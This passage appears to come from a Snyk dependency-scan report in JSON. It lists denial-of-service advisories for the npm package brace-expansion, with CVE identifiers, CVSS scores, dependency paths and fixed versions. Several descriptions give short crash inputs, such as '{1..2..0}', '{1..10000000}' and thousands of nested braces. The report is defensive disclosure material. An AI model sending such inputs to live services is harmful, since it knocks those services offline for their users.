"assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", 